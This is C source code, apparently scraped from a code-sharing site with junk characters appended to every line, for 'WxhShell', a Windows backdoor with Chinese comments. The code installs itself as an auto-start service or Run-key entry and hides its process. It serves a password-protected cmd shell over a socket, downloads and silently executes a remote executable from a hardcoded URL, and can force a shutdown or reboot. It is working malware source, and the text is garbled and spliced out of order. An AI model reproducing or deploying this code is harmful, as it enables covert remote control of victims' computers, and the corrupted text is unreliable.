    if(Boot(SHUTDOWN)) s,>_kxuX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JSX-iHhW  
    else { UO^"<0u  
    closesocket(wsh); &UH .e  
    ExitThread(0); <+D(GH};  
    } E/x``,k  
    break; +e_NpC  
    } =YlsJ={h  
  // 获取shell #JVw`=P  
  case 's': { fiA_6  
    CmdShell(wsh); BeZr5I"`}  
    closesocket(wsh); mk?&`_X1  
    ExitThread(0); '5zolp%St  
    break; IB#L5yN r  
  } `hYj0:*)S$  
  // 退出 T7vilfO5G  
  case 'x': { u50 o1^<X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b%<-(o/  
    CloseIt(wsh); bL\ab  
    break; O'y8[<  
    } yHL2 !  
  // 离开 8Wx>,$k  
  case 'q': { En$-,8\%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3'WJx=0?  
    closesocket(wsh); l;^Id#N  
    WSACleanup(); :'RmT3  
    exit(1); EGWm0 F_  
    break; .}gGtH,b3  
        } ihjs%5Jo%  
  } MHo(j%I1E  
  } V'(yrz!   
7+wy`xi  
  // 提示信息 /IS_-h7>XS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^g/    
} L+y}hb r  
  } e]-bB#-A  
xgV. <^  
  return; Z,AF^,H[  
} X5i?B b.  
Gkci_A*  
// shell模块句柄 sd|5oz )  
int CmdShell(SOCKET sock) kj_ o I5<'  
{  =`fJ  
STARTUPINFO si; -_&"Q4FR;+  
ZeroMemory(&si,sizeof(si));  5,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?K]Cs&E4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'J(rIH3U  
PROCESS_INFORMATION ProcessInfo; $<R\|_6J  
char cmdline[]="cmd"; ?v8.3EE1\o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nojJGeW%  
  return 0; 4D(5WJ&  
} !p$z8~  
\q9wo*A  
// 自身启动模式 Y'tPD#|r  
int StartFromService(void) {&Kck>C'  
{ i?" ~g!A  
typedef struct ,e\'Y!'  
{ .$nQD.X  
  DWORD ExitStatus; zzlV((8 ~  
  DWORD PebBaseAddress; 1#LXy%^tO  
  DWORD AffinityMask; ._2#89V  
  DWORD BasePriority; 1&%6sZN  
  ULONG UniqueProcessId; "b)Y5[nW  
  ULONG InheritedFromUniqueProcessId; vsc)EM ]  
}   PROCESS_BASIC_INFORMATION; aH7i$U&  
nn'a` N  
PROCNTQSIP NtQueryInformationProcess; !,8jB(  
}pk)\^/w/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z|,YO6(L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LLp/ SWe  
/[ _aw&W}Z  
  HANDLE             hProcess; ^2C)Wk$  
  PROCESS_BASIC_INFORMATION pbi; -1'O  
xZ'-G6O "~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y(gL.08<  
  if(NULL == hInst ) return 0; wuRB[KLe  
-E, d)O`;$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M\4pTcz{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SMX70T!'9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3$x[{\ {  
N|t!G^rP  
  if (!NtQueryInformationProcess) return 0; D c5tRO  
>TZ 'V,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iveJh2!#<  
  if(!hProcess) return 0; (C{l4  
.!#0eAT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nymF`0HYe1  
$7k"?M_  
  CloseHandle(hProcess); -!_f-Nny  
qfJi[8".  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ./SDZ:5/  
if(hProcess==NULL) return 0; 1< gY  
\<k5c-8Hb  
HMODULE hMod; aU&p7y4C@  
char procName[255]; 3$<u3Zi6  
unsigned long cbNeeded;  UZJ^ e$N  
L'1!vu *Rg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s2SxMFDP  
qUNK Dt  
  CloseHandle(hProcess); }le}Vuy\s  
Y~ku?/"6T  
if(strstr(procName,"services")) return 1; // 以服务启动 )\nKr;4MH  
L!:8yJK  
  return 0; // 注册表启动 >9-$E?Mt  
} l(&3s:Ud  
c lhmpu  
// 主模块 JATW'HWC|I  
int StartWxhshell(LPSTR lpCmdLine) G;RFY!o  
{ HpbSf1VvAf  
  SOCKET wsl; 2bu,_<K.  
BOOL val=TRUE; l', +l{\Z  
  int port=0; j@g`Pm%u`  
  struct sockaddr_in door; 1Ce7\A  
Z5x&P_.x[  
  if(wscfg.ws_autoins) Install(); RCZ"BxleU  
r{+P2MPW  
port=atoi(lpCmdLine); QMO.Bnek  
&A/k{(.XP  
if(port<=0) port=wscfg.ws_port; FX1[ 2\  
V{A_\  
  WSADATA data; r6WSX;K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pW[KC!  
1>~bzXY#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zD"n7;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %P8*Az&]T  
  door.sin_family = AF_INET; t,bQ@x{zVC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _%R]TlL  
  door.sin_port = htons(port); \ 8v^ hb  
19h@fA[:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )6!ji]c N  
closesocket(wsl); gT-"=AsxZQ  
return 1; NIo!WOi  
} ID_#a9N  
" ""k}M2A  
  if(listen(wsl,2) == INVALID_SOCKET) { f (Su  
closesocket(wsl); !VDNqW  
return 1; ?zk#}Ex1  
} ,K W IuCU;  
  Wxhshell(wsl); W9D~:>^YP  
  WSACleanup(); d ug^oc1  
JGHQzC  
return 0; F tS"vJ\  
ljP<WD  
} fxQ4kiI  
iJU=98q  
// 以NT服务方式启动 4{lrtNd~K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \=qZ),bU@  
{ ~K/_51O'  
DWORD   status = 0; $P h#pM(  
  DWORD   specificError = 0xfffffff; YD{Ppz  
JP,yRb\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e>T;'7HSS"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T -p~8=I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /(u# D[  
  serviceStatus.dwWin32ExitCode     = 0; G' '9eV$  
  serviceStatus.dwServiceSpecificExitCode = 0; .<zN/&MXf  
  serviceStatus.dwCheckPoint       = 0; a=4 `C*)  
  serviceStatus.dwWaitHint       = 0; {ePtZyo0  
8n,/hY>w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QJy1j~9x  
  if (hServiceStatusHandle==0) return; -pHUC't  
C %i{{Y&l  
status = GetLastError(); K (,MtY*  
  if (status!=NO_ERROR) }nRTw2-z  
{ IhHKRb[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5gSe=|we*p  
    serviceStatus.dwCheckPoint       = 0; W#@6e')d  
    serviceStatus.dwWaitHint       = 0; D (WdI  
    serviceStatus.dwWin32ExitCode     = status; l* z "wA-  
    serviceStatus.dwServiceSpecificExitCode = specificError; d=0{vsrB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J=J!)\m  
    return; y(wb?86#W5  
  } -W{ !`<8D  
?PYZW5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZPG~@lU  
  serviceStatus.dwCheckPoint       = 0; wBJ|%mc3TA  
  serviceStatus.dwWaitHint       = 0; "%YVAaN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2fgYcQ8`  
} 3Rhoul[S  
1QPz|3f@\  
// 处理NT服务事件,比如:启动、停止 l{gR6U{e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )3WUyD*UZN  
{ _^g4/G#13c  
switch(fdwControl) vq+4so )/S  
{ fR b  
case SERVICE_CONTROL_STOP: r~G  amjS  
  serviceStatus.dwWin32ExitCode = 0;  nvCp-Z$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $Xh5N3  
  serviceStatus.dwCheckPoint   = 0; ;9Qxq]  
  serviceStatus.dwWaitHint     = 0; CTe!jMZ=  
  { g~2=he\C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ^Kl*}  
  } DL#y_;#3_  
  return; _F(Np\%_  
case SERVICE_CONTROL_PAUSE: >@h#'[z,d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JAM]neKiX  
  break; k[}WYs+r  
case SERVICE_CONTROL_CONTINUE: G?,"AA;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \<hHZS  
  break; 4s9.")G  
case SERVICE_CONTROL_INTERROGATE: 1>/ iYf  
  break; PI@?I&Bo  
}; LqXVi80  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8;"9A  
} K%W;-W*'  
|&@`~OBa  
// 标准应用程序主函数 /bn$@Cy@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]0O3kiVQ  
{ ~Q#! oh'i  
#?`S+YN!q)  
// 获取操作系统版本 0176  
OsIsNt=GetOsVer(); PJ=|g7I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cml~Oepf  
aI=Q_}8-  
  // 从命令行安装 XZS%az1%  
  if(strpbrk(lpCmdLine,"iI")) Install(); =.OzpV)=V  
^O =G%de  
  // 下载执行文件 `mI5Z*]-  
if(wscfg.ws_downexe) { *2}f $8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2.=G  
  WinExec(wscfg.ws_filenam,SW_HIDE); >$yA ,N  
} cW_l|  
q!+:zZu  
if(!OsIsNt) { ]NtBP  
// 如果时win9x,隐藏进程并且设置为注册表启动 k7{|\w%  
HideProc(); c<lEFk!g  
StartWxhshell(lpCmdLine); _mk@1ft  
} vC^{,?@  
else }#; .b'`  
  if(StartFromService()) K<r5jb  
  // 以服务方式启动 !Eb|AHa  
  StartServiceCtrlDispatcher(DispatchTable); ? HNuffk  
else $iMLT8U  
  // 普通方式启动 Qg]A^{.1  
  StartWxhshell(lpCmdLine); !G6h~`[  
,j9?9Z7R  
return 0; ._t1eb`m{  
} 4\nG Wi{2  
19-V;F@;  
m>F:dI  
C@[U:\  
=========================================== *z#du*f[  
4.uaWM)2  
\{!,a  
%C@p4  
y"ss<`Cn  
3Ijs V5a  
" eE=2~ ylU  
>4-9 @i0FV  
#include <stdio.h> *0eV9!y  
#include <string.h> Zy.ls&<:  
#include <windows.h> 9[W >`JKo  
#include <winsock2.h> >qOj^WO~  
#include <winsvc.h> l!KPgRw  
#include <urlmon.h> kj.9\  
NZ0?0*  
#pragma comment (lib, "Ws2_32.lib") _<DOA:'v  
#pragma comment (lib, "urlmon.lib") 6`G8UDK>F  
W'f"kM  
#define MAX_USER   100 // 最大客户端连接数 4e;$+! dlV  
#define BUF_SOCK   200 // sock buffer %3|/t-US  
#define KEY_BUFF   255 // 输入 buffer 4eG\>#5  
}N).$  
#define REBOOT     0   // 重启 TI<3>R  
#define SHUTDOWN   1   // 关机 n)Cr<^j  
7-Oa34ba+  
#define DEF_PORT   5000 // 监听端口 aG]^8`~>'  
}%jpqip  
#define REG_LEN     16   // 注册表键长度 1X`,7B@pz  
#define SVC_LEN     80   // NT服务名长度 80 T2EN:$  
L, #|W  
// 从dll定义API '*&dP"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,FH1yJ;Y&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]NI CQ9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <5 OUk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :vx<m_  
D`mr>-Y  
// wxhshell配置信息 -meY[!"X  
struct WSCFG { lKQevoy'  
  int ws_port;         // 监听端口 c#`IF6qj  
  char ws_passstr[REG_LEN]; // 口令 5o>*a>27,A  
  int ws_autoins;       // 安装标记, 1=yes 0=no vF pKkS343  
  char ws_regname[REG_LEN]; // 注册表键名 7jQVm{{.  
  char ws_svcname[REG_LEN]; // 服务名 .pdcwd9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =au!rda  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6Z' K1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?G!~&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?8?vBkz~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c0rU&+:Ry  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rnQ_0d  
X9SOcg3a  
}; DpQWh+WRy  
O^ui+44wp  
// default Wxhshell configuration Xdl dUK[  
struct WSCFG wscfg={DEF_PORT, t+q;}ZvG  
    "xuhuanlingzhe", ;hV|W{=w  
    1, MEJX5qG6m  
    "Wxhshell", %.]#3tW  
    "Wxhshell", tg==Qgz  
            "WxhShell Service", 5G gH6   
    "Wrsky Windows CmdShell Service", fA?v\'Qq/  
    "Please Input Your Password: ", 9E8&~y  
  1, #"?pY5 ("  
  "http://www.wrsky.com/wxhshell.exe", ' Q(kx*;  
  "Wxhshell.exe" surNJ,)  
    }; 6&0G'PMf  
;H`@x Lv*  
// 消息定义模块 /DyeMCY-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %6rSLBw3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V9qA'k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Oq,@{V@)9k  
char *msg_ws_ext="\n\rExit."; >;Vfs{Z(q  
char *msg_ws_end="\n\rQuit."; &7>]# *  
char *msg_ws_boot="\n\rReboot..."; .taP2^2Z  
char *msg_ws_poff="\n\rShutdown..."; G!=(^G@J;  
char *msg_ws_down="\n\rSave to "; s3yGL  
 qsXkm4  
char *msg_ws_err="\n\rErr!"; <_Z.fdUA  
char *msg_ws_ok="\n\rOK!"; ={ -kQq  
44B D2`nF  
char ExeFile[MAX_PATH]; Fw{#4  
int nUser = 0; ov H'_'  
HANDLE handles[MAX_USER]; s]0 J'UN  
int OsIsNt; mCk_c  
;~djbo0,X  
SERVICE_STATUS       serviceStatus; Uf ]$I`T#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <H-kR\HF  
MMC$c=4"  
// 函数声明 QA;,/iw`  
int Install(void); G3+e5/0  
int Uninstall(void); F E{c{G<  
int DownloadFile(char *sURL, SOCKET wsh); `w`N5 !  
int Boot(int flag); <nG}]Smd7  
void HideProc(void); DR3om;Uk  
int GetOsVer(void); &"gX 7cK8  
int Wxhshell(SOCKET wsl); U<=d@knH  
void TalkWithClient(void *cs); w+)wrJTtm  
int CmdShell(SOCKET sock); cn/&QA"  
int StartFromService(void); ~6Fh,S1?  
int StartWxhshell(LPSTR lpCmdLine); 5mpql[v3P  
-3~S{)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +HRtuRv0T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =q)+_@24>d  
UR=s=G|  
// 数据结构和表定义 W2h4ej\s  
SERVICE_TABLE_ENTRY DispatchTable[] = Vn:v{-i  
{ \9tJ/~   
{wscfg.ws_svcname, NTServiceMain}, =T26vu   
{NULL, NULL} tjB)-=j[  
}; t?)]xS)  
8IWT;%  
// 自我安装 1@ &J"*  
int Install(void) dmv0hof  
{ &08dW9H  
  char svExeFile[MAX_PATH]; Lb<IEy77\  
  HKEY key; F%&lM[N%  
  strcpy(svExeFile,ExeFile); EA1&D^nT  
9+@z:j  
// 如果是win9x系统,修改注册表设为自启动 ^c(r4#}$"  
if(!OsIsNt) { Pi |Z\j)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?u:mscb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )4s7,R  
  RegCloseKey(key); ^W%F?#ELN2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SFtcO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LEtGrA/%@b  
  RegCloseKey(key); ^z{Xd|{"  
  return 0; 66 R=  
    } cr ]b #z  
  } ,xrA2  
} cT@| $A  
else { >eo[)Y  
||TZ[l  
// 如果是NT以上系统,安装为系统服务 1pG|jT+Bi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dZf1iFCP  
if (schSCManager!=0) bc~WJ+  
{ pV (Mh[ }P  
  SC_HANDLE schService = CreateService /U!B2%vq_  
  ( +aM[!pW(e  
  schSCManager, st)v'ce,  
  wscfg.ws_svcname, a'Odw2Q_  
  wscfg.ws_svcdisp, : OjmaP  
  SERVICE_ALL_ACCESS, )6X-m9.X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WjR2:kT  
  SERVICE_AUTO_START, TB&IB:4)R  
  SERVICE_ERROR_NORMAL, lDKyD`WKnZ  
  svExeFile, ~8(Xn2  
  NULL, ;8K> ]T)  
  NULL, 'q~<ZO  
  NULL, 40`Qsv0#  
  NULL, C{nk,j L  
  NULL Akc |E!V  
  ); +]-'{%-zK  
  if (schService!=0) WoB'B|%  
  { H<q|je}e  
  CloseServiceHandle(schService); YqWNp  
  CloseServiceHandle(schSCManager); 09P2<oFLn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u9,dSR  
  strcat(svExeFile,wscfg.ws_svcname); 1'(";  0I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d/Wp>A@dob  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W-|C K&1  
  RegCloseKey(key); <P0 P*>M  
  return 0; eg?p)|  
    } *HHL a  
  } [:(O`#  
  CloseServiceHandle(schSCManager); K re*~ "  
} [PiMu,O[v  
} [Y.JC'F#  
g$"x,:2x{  
return 1; ujBm"p_|  
} |&-*&)iD|w  
eY?OUS  
// 自我卸载 Tmu2G/yi  
int Uninstall(void) "M2WK6?O5  
{ #?D[WTV  
  HKEY key; k'&1,78[l  
mC\<fo-u  
if(!OsIsNt) { (6mw@gzr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VSCKWYy  
  RegDeleteValue(key,wscfg.ws_regname); mAW(j@5sp  
  RegCloseKey(key); lf KV%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XVfUr\=,T  
  RegDeleteValue(key,wscfg.ws_regname); 9 ;uw3vI%  
  RegCloseKey(key); BdU .;_K  
  return 0; @gf <%>  
  } Gl3g.`X{$@  
} j"TEp$x  
} CKFr9bT{  
else { sh`3${  
|Thm5,ao  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); . uGne  
if (schSCManager!=0) #hs&)6S f  
{ Qh Rj*,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <6hs<qXqi  
  if (schService!=0) jpR]V86G  
  { CK4#ZOiaa  
  if(DeleteService(schService)!=0) { 8p}z~\J{a:  
  CloseServiceHandle(schService); 3d1xL+  
  CloseServiceHandle(schSCManager); {|<r7K1<  
  return 0; 7.2!g}E  
  } Zs3xoIW7Ai  
  CloseServiceHandle(schService); ;QCGl$8A  
  } IIXA)b!  
  CloseServiceHandle(schSCManager); &,Loqr  
} [J eq ?X9  
} 5S&Qj7kr  
yLXIjR  
return 1; 32anmVnf  
} P92pQ_W  
ngd4PN>{4  
// 从指定url下载文件 i Pl/I  
int DownloadFile(char *sURL, SOCKET wsh) zp'hA  
{ ?;5/"/i  
  HRESULT hr; |d6/gSiF  
char seps[]= "/"; ;O,&MR{;|n  
char *token; =)i^E9  
char *file; Y Kp@ n8A  
char myURL[MAX_PATH]; RhF< {U.  
char myFILE[MAX_PATH]; mKV31wvK}  
pK_zq  
strcpy(myURL,sURL); .),9a,  
  token=strtok(myURL,seps); 'zMmJl}\vd  
  while(token!=NULL) F/tRyq`D  
  { {(F}SF{  
    file=token; Vi'7m3&  
  token=strtok(NULL,seps); uV}GUE%W  
  } eej#14 &  
asp\4-?$o  
GetCurrentDirectory(MAX_PATH,myFILE); g2LvojR  
strcat(myFILE, "\\"); ;BWWafZ  
strcat(myFILE, file); }lJ|nl`c  
  send(wsh,myFILE,strlen(myFILE),0); 7OXRR)]V  
send(wsh,"...",3,0); =*+f2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Iw#[K  
  if(hr==S_OK) <bhJ>  
return 0; >nK (  
else g?}h*~<b  
return 1; TBF{@{.d  
#jj (S\WY  
} [-e$4^+9  
3qNuv];2  
// 系统电源模块 R&P^rrC@B5  
int Boot(int flag) ?aTC+\=  
{ Jzy:^PObT  
  HANDLE hToken; $SFreyI;Uf  
  TOKEN_PRIVILEGES tkp; [6.<#_~{  
#zSNDv`  
  if(OsIsNt) { h.- o$+Sa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0CX9tr2J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r"x}=# b!  
    tkp.PrivilegeCount = 1; `\3RFr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e(DuJ-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0s}gg[lj  
if(flag==REBOOT) { {ynI]Wj`L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +Bt%W%_X  
  return 0; Sv>CVp*  
} PIQd=%?'  
else { Y1qbu~!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `r\/5|M  
  return 0; +8|Xj!!*}  
} d=\\ik8  
  } ,~l4-x.,  
  else { l}g_<  
if(flag==REBOOT) { Xo.3OER  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vZ=dlu_t  
  return 0; gMZrtK`<  
} >k/ rJ[Sc  
else { = 4'r+2[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z!k  
  return 0; 7vGAuTfi/@  
} Yc5) ^v  
} EF 8rh  
w5Ucj*A\  
return 1; j \ #y  
} w/(2fU(  
nAj +HLO  
// win9x进程隐藏模块 y{tM|  
void HideProc(void) ,|UwZ_.  
{ $"Ci{iE  
oMq:4W,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ._'.F'd  
  if ( hKernel != NULL ) ~"R;p}5 "  
  { ukD:4s v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {;JFoe+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  .^rs VNG  
    FreeLibrary(hKernel); =`V9{$i  
  } S^i<_?nwg  
v:9Vp{)  
return; MP Q?Q]'  
} L N'})CI8m  
ET6}V"UD  
// 获取操作系统版本 3|/zlKZz  
int GetOsVer(void) }~<9*M-P  
{ <2I<Z'B,e  
  OSVERSIONINFO winfo; +6<g N[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); reoCyP\!!  
  GetVersionEx(&winfo); 7V~ gqum  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?U~`'^@  
  return 1; UX ?S#:h  
  else -li;w tCS  
  return 0; >+ Im:fD  
} f+QDjJ?z  
8&#)}A}x  
// 客户端句柄模块 ^p\n/#B  
int Wxhshell(SOCKET wsl) M>jk"*hA|  
{ ?SoRi</1  
  SOCKET wsh; hBW,J$B  
  struct sockaddr_in client; [Ue"#w  
  DWORD myID; p,OB;Ncf/  
PV/hnVUl  
  while(nUser<MAX_USER) ,L(q/#p  
{ +C=^,B!,  
  int nSize=sizeof(client); 1-pxM~Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tW3Nry  
  if(wsh==INVALID_SOCKET) return 1; ~\7peH%  
zids2/_*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <r8s= <:  
if(handles[nUser]==0) U+ief?;4F  
  closesocket(wsh); 2wYY0=k2  
else hOcVxSc.  
  nUser++; glNXamo  
  } { %af  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); - I j  
mS-{AK  
  return 0; 1jj.oa]  
} R"JT+m  
(V8lmp-F  
// 关闭 socket {F*81q\  
void CloseIt(SOCKET wsh) Q$^Kf]pD  
{ fq[,9lK  
closesocket(wsh); 9m2Yrj93  
nUser--; <\5E{/7Tl  
ExitThread(0); "3uPK$  
} SBG.t:  
/A%31WE&1  
// 客户端请求句柄 _R|8_#yM  
void TalkWithClient(void *cs) h%%dRi  
{ tt]ZGn*  
2E=vMAS  
  SOCKET wsh=(SOCKET)cs; inv 5>OeG  
  char pwd[SVC_LEN]; uJt*> ;Kp  
  char cmd[KEY_BUFF]; .!h`(>+@  
char chr[1]; "@+r|x  
int i,j; 0tah$;c e  
 DE14dU  
  while (nUser < MAX_USER) { +"SYG  
rY(h }z  
if(wscfg.ws_passstr) { UP e@>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |gJI}"T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <a$'tw-8  
  //ZeroMemory(pwd,KEY_BUFF); uI_h__  
      i=0; lEiOE]  
  while(i<SVC_LEN) { ]`O??wN  
w!/se;_H+w  
  // 设置超时 .c2Zr|X  
  fd_set FdRead; ZHOh(  
  struct timeval TimeOut; #F|w_P  
  FD_ZERO(&FdRead); 8j&LU,  
  FD_SET(wsh,&FdRead); 'wP\VCL2>  
  TimeOut.tv_sec=8; +Zo&c}  
  TimeOut.tv_usec=0; H7R6Ljd?&S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dfA4OZ&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c=\H&x3X  
]$ iqJL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gye'_AR?k  
  pwd=chr[0]; \y0uGnmCj  
  if(chr[0]==0xd || chr[0]==0xa) { c27\S?\ Jd  
  pwd=0; ?Y#x`DMh  
  break; a2`|6M;  
  } 5o R/Q|^  
  i++; hS7o=G[  
    } aYPD4yX"/  
j= Ebk;6p  
  // 如果是非法用户,关闭 socket A@k`$xevVj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aMycvYzH  
} wT+b|K  
T@,tlIM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IA?v[xu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b#z{["%Zp  
M?zwXmTVW0  
while(1) { sas:5iB5  
x9B{|+tIoc  
  ZeroMemory(cmd,KEY_BUFF); dw e$, 9  
\4pWHE/  
      // 自动支持客户端 telnet标准   W_P&;)E  
  j=0; 2<' 1m{  
  while(j<KEY_BUFF) { BD (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ wJ|vW_.  
  cmd[j]=chr[0]; j_2yTz"G-  
  if(chr[0]==0xa || chr[0]==0xd) { 2n8spLZYGY  
  cmd[j]=0; I w-3Z'hOX  
  break; auV<=1<zJ  
  } pSlosv(6  
  j++; bB`p-1  
    } C Nt  
@u}1 S1  
  // 下载文件 Xeo2 < @[  
  if(strstr(cmd,"http://")) { aR}L- -m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A ^wIsAxT  
  if(DownloadFile(cmd,wsh)) c$[cDf~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); & e~g}7  
  else mU3 @|a/@0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w-M,@[G  
  } .q^+llM  
  else { ?* %J Gz_  
Gh#$[5&`  
    switch(cmd[0]) { 7`IoQvX  
  %uWq)D4r  
  // 帮助 !uJD hC  
